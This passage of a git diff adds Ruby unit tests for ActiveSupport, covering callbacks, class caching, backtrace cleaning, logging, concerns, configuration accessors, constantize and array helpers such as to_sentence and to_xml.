+      klass.reset_callbacks :foo
+      klass.new.run
+      assert_equal 1, events.length
+    end
+
+    def test_reset_impacts_subclasses
+      events = []
+      klass = build_class events
+      subclass = Class.new(klass) { set_callback :foo, :before, :world }
+      subclass.class_eval { define_method(:world) { events << :world } }
+
+      subclass.new.run
+      assert_equal 2, events.length
+
+      klass.reset_callbacks :foo
+      subclass.new.run
+      assert_equal 3, events.length
+    end
+  end
+
+  class CallbackTypeTest < ActiveSupport::TestCase
+    def build_class(callback, n = 10)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        n.times { set_callback :foo, :before, callback }
+        def run; run_callbacks :foo; end
+        def self.skip(*things); skip_callback :foo, :before, *things; end
+      }
+    end
+
+    def test_add_class
+      calls = []
+      callback = Class.new {
+        define_singleton_method(:before) { |o| calls << o }
+      }
+      build_class(callback).new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_add_lambda
+      calls = []
+      build_class(->(o) { calls << o }).new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_add_symbol
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+
+    def test_skip_class # removes one at a time
+      calls = []
+      callback = Class.new {
+        define_singleton_method(:before) { |o| calls << o }
+      }
+      klass = build_class(callback)
+      9.downto(0) { |i|
+        klass.skip callback
+        klass.new.run
+        assert_equal i, calls.length
+        calls.clear
+      }
+    end
+
+    def test_skip_lambda # raises error
+      calls = []
+      callback = ->(o) { calls << o }
+      klass = build_class(callback)
+      assert_raises(ArgumentError) { klass.skip callback }
+      klass.new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_skip_symbol # removes all
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.skip :bar
+      klass.new.run
+      assert_equal 0, calls.length
+    end
+
+    def test_skip_string # raises error
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      assert_raises(ArgumentError) { klass.skip "bar" }
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+
+    def test_skip_undefined_callback # raises error
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      assert_raises(ArgumentError) { klass.skip :qux }
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+
+    def test_skip_without_raise # removes nothing
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.skip :qux, raise: false
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+  end
+
+  class DeprecatedWarningTest < ActiveSupport::TestCase
+    def test_deprecate_string_conditional_options
+      klass = Class.new(Record)
+
+      assert_deprecated { klass.before_save :tweedle, if: "true" }
+      assert_deprecated { klass.after_save :tweedle, unless: "false" }
+      assert_deprecated { klass.skip_callback :save, :before, :tweedle, if: "true" }
+      assert_deprecated { klass.skip_callback :save, :after, :tweedle, unless: "false" }
+    end
+  end
+
+  class NotPermittedStringCallbackTest < ActiveSupport::TestCase
+    def test_passing_string_callback_is_not_permitted
+      klass = Class.new(Record)
+
+      assert_raises(ArgumentError) do
+        klass.before_save "tweedle"
+      end
+    end
+  end
+end
diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb
new file mode 100644
index 0000000000..7b97028e8c
--- /dev/null
+++ b/activesupport/test/class_cache_test.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/dependencies"
+
+module ActiveSupport
+  module Dependencies
+    class ClassCacheTest < ActiveSupport::TestCase
+      def setup
+        @cache = ClassCache.new
+      end
+
+      def test_empty?
+        assert @cache.empty?
+        @cache.store(ClassCacheTest)
+        assert !@cache.empty?
+      end
+
+      def test_clear!
+        assert @cache.empty?
+        @cache.store(ClassCacheTest)
+        assert !@cache.empty?
+        @cache.clear!
+        assert @cache.empty?
+      end
+
+      def test_set_key
+        @cache.store(ClassCacheTest)
+        assert @cache.key?(ClassCacheTest.name)
+      end
+
+      def test_get_with_class
+        @cache.store(ClassCacheTest)
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest)
+      end
+
+      def test_get_with_name
+        @cache.store(ClassCacheTest)
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
+      end
+
+      def test_get_constantizes
+        assert @cache.empty?
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
+      end
+
+      def test_get_constantizes_fails_on_invalid_names
+        assert @cache.empty?
+        assert_raise NameError do
+          @cache.get("OmgTotallyInvalidConstantName")
+        end
+      end
+
+      def test_get_alias
+        assert @cache.empty?
+        assert_equal @cache[ClassCacheTest.name], @cache.get(ClassCacheTest.name)
+      end
+
+      def test_safe_get_constantizes
+        assert @cache.empty?
+        assert_equal ClassCacheTest, @cache.safe_get(ClassCacheTest.name)
+      end
+
+      def test_safe_get_constantizes_doesnt_fail_on_invalid_names
+        assert @cache.empty?
+        assert_nil @cache.safe_get("OmgTotallyInvalidConstantName")
+      end
+
+      def test_new_rejects_strings
+        @cache.store ClassCacheTest.name
+        assert !@cache.key?(ClassCacheTest.name)
+      end
+
+      def test_store_returns_self
+        x = @cache.store ClassCacheTest
+        assert_equal @cache, x
+      end
+    end
+  end
+end
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
new file mode 100644
index 0000000000..1b44c7c9bf
--- /dev/null
+++ b/activesupport/test/clean_backtrace_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class BacktraceCleanerFilterTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_filter { |line| line.gsub("/my/prefix", "") }
+  end
+
+  test "backtrace should filter all lines in a backtrace, removing prefixes" do
+    assert_equal \
+      ["/my/class.rb", "/my/module.rb"],
+      @bc.clean(["/my/prefix/my/class.rb", "/my/prefix/my/module.rb"])
+  end
+
+  test "backtrace cleaner should allow removing filters" do
+    @bc.remove_filters!
+    assert_equal "/my/prefix/my/class.rb", @bc.clean(["/my/prefix/my/class.rb"]).first
+  end
+
+  test "backtrace should contain unaltered lines if they dont match a filter" do
+    assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
+  end
+end
+
+class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_silencer { |line| line.include?("mongrel") }
+  end
+
+  test "backtrace should not contain lines that match the silencer" do
+    assert_equal \
+      [ "/other/class.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
+  end
+
+  test "backtrace cleaner should allow removing silencer" do
+    @bc.remove_silencers!
+    assert_equal ["/mongrel/stuff.rb"], @bc.clean(["/mongrel/stuff.rb"])
+  end
+end
+
+class BacktraceCleanerMultipleSilencersTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_silencer { |line| line.include?("mongrel") }
+    @bc.add_silencer { |line| line.include?("yolo") }
+  end
+
+  test "backtrace should not contain lines that match the silencers" do
+    assert_equal \
+      [ "/other/class.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ])
+  end
+
+  test "backtrace should only contain lines that match the silencers" do
+    assert_equal \
+      [ "/mongrel/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+                :noise)
+  end
+end
+
+class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_filter   { |line| line.gsub("/mongrel", "") }
+    @bc.add_silencer { |line| line.include?("mongrel") }
+  end
+
+  test "backtrace should not silence lines that has first had their silence hook filtered out" do
+    assert_equal [ "/class.rb" ], @bc.clean([ "/mongrel/class.rb" ])
+  end
+end
diff --git a/activesupport/test/clean_logger_test.rb b/activesupport/test/clean_logger_test.rb
new file mode 100644
index 0000000000..6d8f7064ce
--- /dev/null
+++ b/activesupport/test/clean_logger_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "stringio"
+require "active_support/logger"
+
+class CleanLoggerTest < ActiveSupport::TestCase
+  def setup
+    @out = StringIO.new
+    @logger = ActiveSupport::Logger.new(@out)
+  end
+
+  def test_format_message
+    @logger.error "error"
+    assert_equal "error\n", @out.string
+  end
+
+  def test_datetime_format
+    @logger.formatter = Logger::Formatter.new
+    @logger.formatter.datetime_format = "%Y-%m-%d"
+    @logger.debug "debug"
+    assert_equal "%Y-%m-%d", @logger.formatter.datetime_format
+    assert_match(/D, \[\d\d\d\d-\d\d-\d\d#\d+\] DEBUG -- : debug/, @out.string)
+  end
+
+  def test_nonstring_formatting
+    an_object = [1, 2, 3, 4, 5]
+    @logger.debug an_object
+    assert_equal("#{an_object.inspect}\n", @out.string)
+  end
+end
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
new file mode 100644
index 0000000000..ef75a320d1
--- /dev/null
+++ b/activesupport/test/concern_test.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/concern"
+
+class ConcernTest < ActiveSupport::TestCase
+  module Baz
+    extend ActiveSupport::Concern
+
+    class_methods do
+      def baz
+        "baz"
+      end
+
+      def included_ran=(value)
+        @@included_ran = value
+      end
+
+      def included_ran
+        @@included_ran
+      end
+    end
+
+    included do
+      self.included_ran = true
+    end
+
+    def baz
+      "baz"
+    end
+  end
+
+  module Bar
+    extend ActiveSupport::Concern
+
+    include Baz
+
+    module ClassMethods
+      def baz
+        "bar's baz + " + super
+      end
+    end
+
+    def bar
+      "bar"
+    end
+
+    def baz
+      "bar+" + super
+    end
+  end
+
+  module Foo
+    extend ActiveSupport::Concern
+
+    include Bar, Baz
+  end
+
+  module Qux
+    module ClassMethods
+    end
+  end
+
+  def setup
+    @klass = Class.new
+  end
+
+  def test_module_is_included_normally
+    @klass.include(Baz)
+    assert_equal "baz", @klass.new.baz
+    assert_includes @klass.included_modules, ConcernTest::Baz
+  end
+
+  def test_class_methods_are_extended
+    @klass.include(Baz)
+    assert_equal "baz", @klass.baz
+    assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; included_modules; end)[0]
+  end
+
+  def test_class_methods_are_extended_only_on_expected_objects
+    ::Object.include(Qux)
+    Object.extend(Qux::ClassMethods)
+    # module needs to be created after Qux is included in Object or bug won't
+    # be triggered
+    test_module = Module.new do
+      extend ActiveSupport::Concern
+
+      class_methods do
+        def test
+        end
+      end
+    end
+    @klass.include test_module
+    assert_equal false, Object.respond_to?(:test)
+    Qux.class_eval do
+      remove_const :ClassMethods
+    end
+  end
+
+  def test_included_block_is_ran
+    @klass.include(Baz)
+    assert_equal true, @klass.included_ran
+  end
+
+  def test_modules_dependencies_are_met
+    @klass.include(Bar)
+    assert_equal "bar", @klass.new.bar
+    assert_equal "bar+baz", @klass.new.baz
+    assert_equal "bar's baz + baz", @klass.baz
+    assert_includes @klass.included_modules, ConcernTest::Bar
+  end
+
+  def test_dependencies_with_multiple_modules
+    @klass.include(Foo)
+    assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
+  end
+
+  def test_raise_on_multiple_included_calls
+    assert_raises(ActiveSupport::Concern::MultipleIncludedBlocks) do
+      Module.new do
+        extend ActiveSupport::Concern
+
+        included do
+        end
+
+        included do
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
new file mode 100644
index 0000000000..10719596df
--- /dev/null
+++ b/activesupport/test/configurable_test.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/configurable"
+
+class ConfigurableActiveSupport < ActiveSupport::TestCase
+  class Parent
+    include ActiveSupport::Configurable
+    config_accessor :foo
+    config_accessor :bar, instance_reader: false, instance_writer: false
+    config_accessor :baz, instance_accessor: false
+  end
+
+  class Child < Parent
+  end
+
+  setup do
+    Parent.config.clear
+    Parent.config.foo = :bar
+
+    Child.config.clear
+  end
+
+  test "adds a configuration hash" do
+    assert_equal({ foo: :bar }, Parent.config)
+  end
+
+  test "adds a configuration hash to a module as well" do
+    mixin = Module.new { include ActiveSupport::Configurable }
+    mixin.config.foo = :bar
+    assert_equal({ foo: :bar }, mixin.config)
+  end
+
+  test "configuration hash is inheritable" do
+    assert_equal :bar, Child.config.foo
+    assert_equal :bar, Parent.config.foo
+
+    Child.config.foo = :baz
+    assert_equal :baz, Child.config.foo
+    assert_equal :bar, Parent.config.foo
+  end
+
+  test "configuration accessors are not available on instance" do
+    instance = Parent.new
+
+    assert !instance.respond_to?(:bar)
+    assert !instance.respond_to?(:bar=)
+
+    assert !instance.respond_to?(:baz)
+    assert !instance.respond_to?(:baz=)
+  end
+
+  test "configuration accessors can take a default value" do
+    parent = Class.new do
+      include ActiveSupport::Configurable
+      config_accessor :hair_colors, :tshirt_colors do
+        [:black, :blue, :white]
+      end
+    end
+
+    assert_equal [:black, :blue, :white], parent.hair_colors
+    assert_equal [:black, :blue, :white], parent.tshirt_colors
+  end
+
+  test "configuration hash is available on instance" do
+    instance = Parent.new
+    assert_equal :bar, instance.config.foo
+    assert_equal :bar, Parent.config.foo
+
+    instance.config.foo = :baz
+    assert_equal :baz, instance.config.foo
+    assert_equal :bar, Parent.config.foo
+  end
+
+  test "configuration is crystalizeable" do
+    parent = Class.new { include ActiveSupport::Configurable }
+    child  = Class.new(parent)
+
+    parent.config.bar = :foo
+    assert_method_not_defined parent.config, :bar
+    assert_method_not_defined child.config, :bar
+    assert_method_not_defined child.new.config, :bar
+
+    parent.config.compile_methods!
+    assert_equal :foo, parent.config.bar
+    assert_equal :foo, child.new.config.bar
+
+    assert_method_defined parent.config, :bar
+    assert_method_defined child.config, :bar
+    assert_method_defined child.new.config, :bar
+  end
+
+  test "should raise name error if attribute name is invalid" do
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid attribute name"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\nattribute"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\n"
+      end
+    end
+  end
+
+  test "the config_accessor method should not be publicly callable" do
+    assert_raises NoMethodError do
+      Class.new {
+        include ActiveSupport::Configurable
+      }.config_accessor :foo
+    end
+  end
+
+  def assert_method_defined(object, method)
+    methods = object.public_methods.map(&:to_s)
+    assert_includes methods, method.to_s, "Expected #{methods.inspect} to include #{method.to_s.inspect}"
+  end
+
+  def assert_method_not_defined(object, method)
+    methods = object.public_methods.map(&:to_s)
+    assert_not_includes methods, method.to_s, "Expected #{methods.inspect} to not include #{method.to_s.inspect}"
+  end
+end
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
new file mode 100644
index 0000000000..2c6145940b
--- /dev/null
+++ b/activesupport/test/constantize_test_cases.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require "dependencies_test_helpers"
+
+module Ace
+  module Base
+    class Case
+      class Dice
+      end
+    end
+    class Fase < Case
+    end
+  end
+  class Gas
+    include Base
+  end
+end
+
+class Object
+  module AddtlGlobalConstants
+    class Case
+      class Dice
+      end
+    end
+  end
+  include AddtlGlobalConstants
+end
+
+module ConstantizeTestCases
+  include DependenciesTestHelpers
+
+  def run_constantize_tests_on
+    assert_equal Ace::Base::Case, yield("Ace::Base::Case")
+    assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Fase::Dice")
+    assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+
+    assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
+    assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Gas::Case::Dice")
+
+    assert_equal Case::Dice, yield("Case::Dice")
+    assert_equal AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+    assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
+    assert_equal Case::Dice, yield("Object::Case::Dice")
+    assert_equal AddtlGlobalConstants::Case::Dice, yield("Object::Case::Dice")
+    assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
+    assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
+    assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
+
+    assert_raises(NameError) { yield("UnknownClass") }
+    assert_raises(NameError) { yield("UnknownClass::Ace") }
+    assert_raises(NameError) { yield("UnknownClass::Ace::Base") }
+    assert_raises(NameError) { yield("An invalid string") }
+    assert_raises(NameError) { yield("InvalidClass\n") }
+    assert_raises(NameError) { yield("Ace::ConstantizeTestCases") }
+    assert_raises(NameError) { yield("Ace::Base::ConstantizeTestCases") }
+    assert_raises(NameError) { yield("Ace::Gas::Base") }
+    assert_raises(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
+    assert_raises(NameError) { yield("") }
+    assert_raises(NameError) { yield("::") }
+    assert_raises(NameError) { yield("Ace::gas") }
+
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        yield("RaisesNameError")
+      end
+    end
+
+    assert_raises(NoMethodError) do
+      with_autoloading_fixtures do
+        yield("RaisesNoMethodError")
+      end
+    end
+
+    with_autoloading_fixtures do
+      yield("Prepend::SubClassConflict")
+      assert_equal "constant", defined?(Prepend::SubClassConflict)
+    end
+  end
+
+  def run_safe_constantize_tests_on
+    assert_equal Ace::Base::Case, yield("Ace::Base::Case")
+    assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
+    assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+    assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+    assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
+    assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+    assert_equal Case::Dice, yield("Case::Dice")
+    assert_equal Case::Dice, yield("Object::Case::Dice")
+    assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
+    assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
+    assert_nil yield("")
+    assert_nil yield("::")
+    assert_nil yield("UnknownClass")
+    assert_nil yield("UnknownClass::Ace")
+    assert_nil yield("UnknownClass::Ace::Base")
+    assert_nil yield("An invalid string")
+    assert_nil yield("InvalidClass\n")
+    assert_nil yield("blargle")
+    assert_nil yield("Ace::ConstantizeTestCases")
+    assert_nil yield("Ace::Base::ConstantizeTestCases")
+    assert_nil yield("Ace::Gas::Base")
+    assert_nil yield("Ace::Gas::ConstantizeTestCases")
+    assert_nil yield("#<Class:0x7b8b718b>::Nested_1")
+    assert_nil yield("Ace::gas")
+    assert_nil yield("Object::ABC")
+    assert_nil yield("Object::Object::Object::ABC")
+    assert_nil yield("A::Object::B")
+    assert_nil yield("A::Object::Object::Object::B")
+
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        yield("RaisesNameError")
+      end
+    end
+
+    assert_raises(NoMethodError) do
+      with_autoloading_fixtures do
+        yield("RaisesNoMethodError")
+      end
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/array/access_test.rb b/activesupport/test/core_ext/array/access_test.rb
new file mode 100644
index 0000000000..8c217023cf
--- /dev/null
+++ b/activesupport/test/core_ext/array/access_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+
+class AccessTest < ActiveSupport::TestCase
+  def test_from
+    assert_equal %w( a b c d ), %w( a b c d ).from(0)
+    assert_equal %w( c d ), %w( a b c d ).from(2)
+    assert_equal %w(), %w( a b c d ).from(10)
+    assert_equal %w( d e ), %w( a b c d e ).from(-2)
+    assert_equal %w(), %w( a b c d e ).from(-10)
+  end
+
+  def test_to
+    assert_equal %w( a ), %w( a b c d ).to(0)
+    assert_equal %w( a b c ), %w( a b c d ).to(2)
+    assert_equal %w( a b c d ), %w( a b c d ).to(10)
+    assert_equal %w( a b c ), %w( a b c d ).to(-2)
+    assert_equal %w(), %w( a b c ).to(-10)
+  end
+
+  def test_specific_accessor
+    array = (1..42).to_a
+
+    assert_equal array[1], array.second
+    assert_equal array[2], array.third
+    assert_equal array[3], array.fourth
+    assert_equal array[4], array.fifth
+    assert_equal array[41], array.forty_two
+    assert_equal array[-3], array.third_to_last
+    assert_equal array[-2], array.second_to_last
+  end
+
+  def test_without
+    assert_equal [1, 2, 4], [1, 2, 3, 4, 5].without(3, 5)
+  end
+end
diff --git a/activesupport/test/core_ext/array/conversions_test.rb b/activesupport/test/core_ext/array/conversions_test.rb
new file mode 100644
index 0000000000..0f919efcb0
--- /dev/null
+++ b/activesupport/test/core_ext/array/conversions_test.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+require "active_support/core_ext/big_decimal"
+require "active_support/core_ext/hash"
+require "active_support/core_ext/string"
+
+class ToSentenceTest < ActiveSupport::TestCase
+  def test_plain_array_to_sentence
+    assert_equal "", [].to_sentence
+    assert_equal "one", ["one"].to_sentence
+    assert_equal "one and two", ["one", "two"].to_sentence
+    assert_equal "one, two, and three", ["one", "two", "three"].to_sentence
+  end
+
+  def test_to_sentence_with_words_connector
+    assert_equal "one two, and three", ["one", "two", "three"].to_sentence(words_connector: " ")
+    assert_equal "one & two, and three", ["one", "two", "three"].to_sentence(words_connector: " & ")
+    assert_equal "onetwo, and three", ["one", "two", "three"].to_sentence(words_connector: nil)
+  end
+
+  def test_to_sentence_with_last_word_connector
+    assert_equal "one, two, and also three", ["one", "two", "three"].to_sentence(last_word_connector: ", and also ")
+    assert_equal "one, twothree", ["one", "two", "three"].to_sentence(last_word_connector: nil)
+    assert_equal "one, two three", ["one", "two", "three"].to_sentence(last_word_connector: " ")
+    assert_equal "one, two and three", ["one", "two", "three"].to_sentence(last_word_connector: " and ")
+  end
+
+  def test_two_elements
+    assert_equal "one and two", ["one", "two"].to_sentence
+    assert_equal "one two", ["one", "two"].to_sentence(two_words_connector: " ")
+  end
+
+  def test_one_element
+    assert_equal "one", ["one"].to_sentence
+  end
+
+  def test_one_element_not_same_object
+    elements = ["one"]
+    assert_not_equal elements[0].object_id, elements.to_sentence.object_id
+  end
+
+  def test_one_non_string_element
+    assert_equal "1", [1].to_sentence
+  end
+
+  def test_does_not_modify_given_hash
+    options = { words_connector: " " }
+    assert_equal "one two, and three", ["one", "two", "three"].to_sentence(options)
+    assert_equal({ words_connector: " " }, options)
+  end
+
+  def test_with_blank_elements
+    assert_equal ", one, , two, and three", [nil, "one", "", "two", "three"].to_sentence
+  end
+
+  def test_with_invalid_options
+    exception = assert_raise ArgumentError do
+      ["one", "two"].to_sentence(passing: "invalid option")
+    end
+
+    assert_equal "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale", exception.message
+  end
+
+  def test_always_returns_string
+    assert_instance_of String, [ActiveSupport::SafeBuffer.new("one")].to_sentence
+    assert_instance_of String, [ActiveSupport::SafeBuffer.new("one"), "two"].to_sentence
+    assert_instance_of String, [ActiveSupport::SafeBuffer.new("one"), "two", "three"].to_sentence
+  end
+end
+
+class ToSTest < ActiveSupport::TestCase
+  class TestDB
+    @@counter = 0
+    def id
+      @@counter += 1
+    end
+  end
+
+  def test_to_s_db
+    collection = [TestDB.new, TestDB.new, TestDB.new]
+
+    assert_equal "null", [].to_s(:db)
+    assert_equal "1,2,3", collection.to_s(:db)
+  end
+end
+
+class ToXmlTest < ActiveSupport::TestCase
+  def test_to_xml_with_hash_elements
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
+    ].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<objects type="array"><object>', xml.first(30)
+    assert_includes xml, %(<age type="integer">26</age>), xml
+    assert_includes xml, %(<age-in-millis type="integer">820497600000</age-in-millis>), xml
+    assert_includes xml, %(<name>David</name>), xml
+    assert_includes xml, %(<age type="integer">31</age>), xml
+    assert_includes xml, %(<age-in-millis type="decimal">1.0</age-in-millis>), xml
+    assert_includes xml, %(<name>Jason</name>), xml
+  end
+
+  def test_to_xml_with_non_hash_elements
+    xml = %w[1 2 3].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<strings type="array"><string', xml.first(29)
+    assert_includes xml, %(<string>2</string>), xml
+  end
+
+  def test_to_xml_with_non_hash_different_type_elements
+    xml = [1, 2.0, "3"].to_xml(skip_instruct: true, indent: 0)
+
+    assert_equal '<objects type="array"><object', xml.first(29)
+    assert_includes xml, %(<object type="integer">1</object>), xml
+    assert_includes xml, %(<object type="float">2.0</object>), xml
+    assert_includes xml, %(object>3</object>), xml
+  end
+
+  def test_to_xml_with_dedicated_name
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 }, { name: "Jason", age: 31 }
+    ].to_xml(skip_instruct: true, indent: 0, root: "people")
+
+    assert_equal '<people type="array"><person>', xml.first(29)
+  end
+
+  def test_to_xml_with_options
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert_includes xml, %(<street-address>Paulina</street-address>)
+    assert_includes xml, %(<name>David</name>)
+    assert_includes xml, %(<street-address>Evergreen</street-address>)
+    assert_includes xml, %(<name>Jason</name>)
+  end
+
+  def test_to_xml_with_indent_set
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 4)
+
+    assert_equal "<objects>\n    <object>", xml.first(22)
+    assert_includes xml, %(\n        <street-address>Paulina</street-address>)
+    assert_includes xml, %(\n        <name>David</name>)
+    assert_includes xml, %(\n        <street-address>Evergreen</street-address>)
+    assert_includes xml, %(\n        <name>Jason</name>)
+  end
+
+  def test_to_xml_with_dasherize_false
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: false)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert_includes xml, %(<street_address>Paulina</street_address>)
+    assert_includes xml, %(<street_address>Evergreen</street_address>)
+  end
+
+  def test_to_xml_with_dasherize_true
+    xml = [
+      { name: "David", street_address: "Paulina" }, { name: "Jason", street_address: "Evergreen" }
+    ].to_xml(skip_instruct: true, skip_types: true, indent: 0, dasherize: true)
+
+    assert_equal "<objects><object>", xml.first(17)
+    assert_includes xml, %(<street-address>Paulina</street-address>)
+    assert_includes xml, %(<street-address>Evergreen</street-address>)
+  end
+
+  def test_to_xml_with_instruct
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
+    ].to_xml(skip_instruct: false, indent: 0)
+
+    assert_match(/^<\?xml [^>]*/, xml)
+    assert_equal 0, xml.rindex(/<\?xml /)
+  end
+
+  def test_to_xml_with_block
+    xml = [
+      { name: "David", age: 26, age_in_millis: 820497600000 },
+      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
+    ].to_xml(skip_instruct: true, indent: 0) do |builder|
+      builder.count 2
+    end
+
+    assert_includes xml, %(<count>2</count>), xml
+  end
+
+  def test_to_xml_with_empty
+    xml = [].to_xml
+    assert_match(/type="array"\/>/, xml)
+  end
+
+  def test_to_xml_dups_options
+    options = { skip_instruct: true }
+    [].to_xml(options)
+    # :builder, etc, shouldn't be added to options
+    assert_equal({ skip_instruct: true }, options)
+  end
+end
diff --git a/activesupport/test/core_ext/array/extract_options_test.rb b/activesupport/test/core_ext/array/extract_options_test.rb
new file mode 100644
index 0000000000..7a4b15cd71
--- /dev/null
+++ b/activesupport/test/core_ext/array/extract_options_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+require "active_support/core_ext/hash"
+
+class ExtractOptionsTest < ActiveSupport::TestCase
+  class HashSubclass < Hash
+  end
+
+  class ExtractableHashSubclass < Hash
+    def extractable_options?
+      true
+    end
+  end
+
+  def test_extract_options
+    assert_equal({}, [].extract_options!)
+    assert_equal({}, [1].extract_options!)
+    assert_equal({ a: :b }, [{ a: :b }].extract_options!)
+    assert_equal({ a: :b }, [1, { a: :b }].extract_options!)
+  end
+
+  def test_extract_options_doesnt_extract_hash_subclasses
+    hash = HashSubclass.new
+    hash[:foo] = 1
+    array = [hash]
+    options = array.extract_options!
+    assert_equal({}, options)
+    assert_equal([hash], array)
+  end
+
+  def test_extract_options_extracts_extractable_subclass
+    hash = ExtractableHashSubclass.new
+    hash[:foo] = 1
+    array = [hash]
+    options = array.extract_options!
+    assert_equal({ foo: 1 }, options)
+    assert_equal([], array)
+  end
+
+  def test_extract_options_extracts_hash_with_indifferent_access
+    array = [{ foo: 1 }.with_indifferent_access]
+    options = array.extract_options!
+    assert_equal(1, options[:foo])
+  end
+end
